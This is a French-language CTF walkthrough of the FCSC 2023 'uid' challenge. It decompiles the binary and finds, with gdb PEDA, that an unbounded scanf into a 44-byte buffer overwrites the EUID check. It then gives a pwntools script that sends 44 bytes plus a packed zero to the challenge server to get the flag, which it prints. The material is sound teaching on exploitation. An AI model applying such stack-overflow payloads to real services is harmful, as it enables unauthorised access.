Cover Image

FCSC 2023 - UID


Dans cet article, nous allons explorer le déroulement pas à pas (walkthrough) du challenge ‘uid’ proposé lors du FCSC 2023.

A notre disposition nous avons le fichier binaire suivant: ici

Nous allons ouvrir IDA pour voir ce que nous devons faire pour exploiter le binaire et ce qu’il fait.

En générant le pseudocode de la fonction main() de IDA, nous avons ce résultat:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[44]; // [rsp+0h] [rbp-30h] BYREF
  __uid_t v5; // [rsp+2Ch] [rbp-4h]

  v5 = geteuid();
  printf("username: ");
  fflush(_bss_start);
  __isoc99_scanf("%s", v4);
  if ( v5 )
    system("cat flop.txt");
  else
    system("cat flag.txt");
  return 0;
}
  • Déclaration de variables:

    • v4 est un tableau de caractères de 44 octets, qui sera utilisé pour stocker le nom d’utilisateur entré par l’utilisateur.
    • v5 est un entier de type __uid_t, qui sera utilisé pour stocker l’identifiant d’utilisateur effective (EUID).
  • Appel de la fonction geteuid() pour récupérer l’EUID et le stocker dans v5.

  • Affichage du message "username: " à l’aide de la fonction printf().

  • La fonction fflush(_bss_start) est appelée pour vider le tampon de sortie standard.

  • La fonction __isoc99_scanf() est appelée pour lire le nom d’utilisateur entré par l’utilisateur et le stocker dans le tableau v4.

    • Si v5 est différent de zéro, la fonction system("cat flop.txt") est appelée pour afficher le contenu du fichier "flop.txt".
    • Si v5 est égal à zéro, la fonction system("cat flag.txt") est appelée pour afficher le contenu du fichier "flag.txt".

Enfin, la fonction retourne 0 pour indiquer que le programme s’est terminé avec succès.

Stratégie

Comme la fonction scanf() est utilisée, nous pouvons essayer d’utiliser une vulnérabilité de type buffer overflow pour réécrire la valeur de v5 à 0 pour qu’on puisse afficher le flag.

Comment on procède ?

Je décide de voir en détail avec gdb PEDA comment ça se passe au niveau de la mémoire.

Voici le code assembleur de la fonction main:


gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000001175 <+0>:	push   rbp
   0x0000000000001176 <+1>:	mov    rbp,rsp
   0x0000000000001179 <+4>:	sub    rsp,0x30
   0x000000000000117d <+8>:	call   0x1050 <geteuid@plt>
   0x0000000000001182 <+13>:	mov    DWORD PTR [rbp-0x4],eax
   0x0000000000001185 <+16>:	lea    rdi,[rip+0xe78]        # 0x2004
   0x000000000000118c <+23>:	mov    eax,0x0
   0x0000000000001191 <+28>:	call   0x1040 <printf@plt>
   0x0000000000001196 <+33>:	mov    rax,QWORD PTR [rip+0x2eb3]        # 0x4050 <stdout@GLIBC_2.2.5>
   0x000000000000119d <+40>:	mov    rdi,rax
   0x00000000000011a0 <+43>:	call   0x1060 <fflush@plt>
   0x00000000000011a5 <+48>:	lea    rax,[rbp-0x30]
   0x00000000000011a9 <+52>:	mov    rsi,rax
   0x00000000000011ac <+55>:	lea    rdi,[rip+0xe5c]        # 0x200f
   0x00000000000011b3 <+62>:	mov    eax,0x0
   0x00000000000011b8 <+67>:	call   0x1070 <__isoc99_scanf@plt>
   0x00000000000011bd <+72>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x00000000000011c1 <+76>:	jne    0x11d1 <main+92>
   0x00000000000011c3 <+78>:	lea    rdi,[rip+0xe48]        # 0x2012
   0x00000000000011ca <+85>:	call   0x1030 <system@plt>
   0x00000000000011cf <+90>:	jmp    0x11dd <main+104>
   0x00000000000011d1 <+92>:	lea    rdi,[rip+0xe47]        # 0x201f
   0x00000000000011d8 <+99>:	call   0x1030 <system@plt>
   0x00000000000011dd <+104>:	mov    eax,0x0
   0x00000000000011e2 <+109>:	leave  
   0x00000000000011e3 <+110>:	ret 
End of assembler dump.
gdb-peda$ b* main+72
Breakpoint 1 at 0x11bd

Nous allons placer un point d’arrêt à 0x00000000000011bd <+72>: cmp DWORD PTR [rbp-0x4],0x0 donc à main+72 pour voir l’état de rbp-0x4 au moment d’y insérer notre pattern.

Pour la longueur du pattern je commence avec 80 puisque ça devrai suffir.

gdb-peda$ pattern create 80
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A'
gdb-peda$ r
Starting program: /home/balgogan/Téléchargements/uid 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
username: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.


[----------------------------------registers-----------------------------------]
RAX: 0x1 
RBX: 0x7fffffffe388 --> 0x7fffffffe6dc ("/home/balgogan/Téléchargements/uid")
RCX: 0x0 
RDX: 0x0 
RSI: 0xa ('\n')
RDI: 0x7fffffffdd00 --> 0x0 
RBP: 0x7fffffffe270 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RSP: 0x7fffffffe240 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RIP: 0x5555555551bd (<main+72>:	cmp    DWORD PTR [rbp-0x4],0x0)
R8 : 0x555555556010 --> 0x6c66207461630073 ('s')
R9 : 0x7ffff7f8ba80 --> 0xfbad2288 
R10: 0xffffffffffffffff 
R11: 0x7ffff7f8c560 --> 0x7ffff7f88800 --> 0x7ffff7f5047c --> 0x5a5400544d470043 ('C')
R12: 0x0 
R13: 0x7fffffffe398 --> 0x7fffffffe701 ("SHELL=/bin/bash")
R14: 0x0 
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555551ac <main+55>:	lea    rdi,[rip+0xe5c]        # 0x55555555600f
   0x5555555551b3 <main+62>:	mov    eax,0x0
   0x5555555551b8 <main+67>:	call   0x555555555070 <__isoc99_scanf@plt>
=> 0x5555555551bd <main+72>:	cmp    DWORD PTR [rbp-0x4],0x0
   0x5555555551c1 <main+76>:	jne    0x5555555551d1 <main+92>
   0x5555555551c3 <main+78>:	lea    rdi,[rip+0xe48]        # 0x555555556012
   0x5555555551ca <main+85>:	call   0x555555555030 <system@plt>
   0x5555555551cf <main+90>:	jmp    0x5555555551dd <main+104>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe240 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0008| 0x7fffffffe248 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0016| 0x7fffffffe250 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0024| 0x7fffffffe258 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0032| 0x7fffffffe260 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0040| 0x7fffffffe268 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0048| 0x7fffffffe270 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0056| 0x7fffffffe278 ("AcAA2AAHAAdAA3AAIAAeAA4A")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00005555555551bd in main ()
gdb-peda$ x/8x $rbp-0x4
0x7fffffffe26c:	0x41	0x46	0x41	0x41	0x62	0x41	0x41	0x31
gdb-peda$ 

En regardant le contenu de $rbp-0x4 nous avons comme valeur hexadécimales "0x41 0x46 0x41 0x41 0x62 0x41 0x41 0x31". Ce qui correspond en ASCII à AFAAbAA1

$ unhex 4146414162414131
AFAAbAA1

Cette chaine de caractère fait partie de notre pattern et le but est de trouver où se situe cette chaine dans notre pattern pour pouvoir construire notre payload final:

gdb-peda$ pattern offset AFAAbAA1
AFAAbAA1 found at offset: 44

Comme vu dans le pseudocode de IDA, on retrouve un buffer de 44 octets, ce qui signifie que nous devons écrire notre "0" après 44 octets.

D’après toutes ces informations nous pouvons construire le payload final suivant:

from pwn import *

buffer = 44

#p = process('./uid')
p = remote("challenges.france-cybersecurity-challenge.fr",2100)

payload = ("A" * buffer).encode() + p32(0) + b"\n"

p.sendafter(b"username: ", payload)

print(p.recvall().decode('latin-1'))

En exécutant le code nous avons le flag:

$ python3.8 exp.py 
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2100: Done
[+] Receiving all data: Done (71B)
[*] Closed connection to challenges.france-cybersecurity-challenge.fr port 2100
FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}

Le flag est : FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}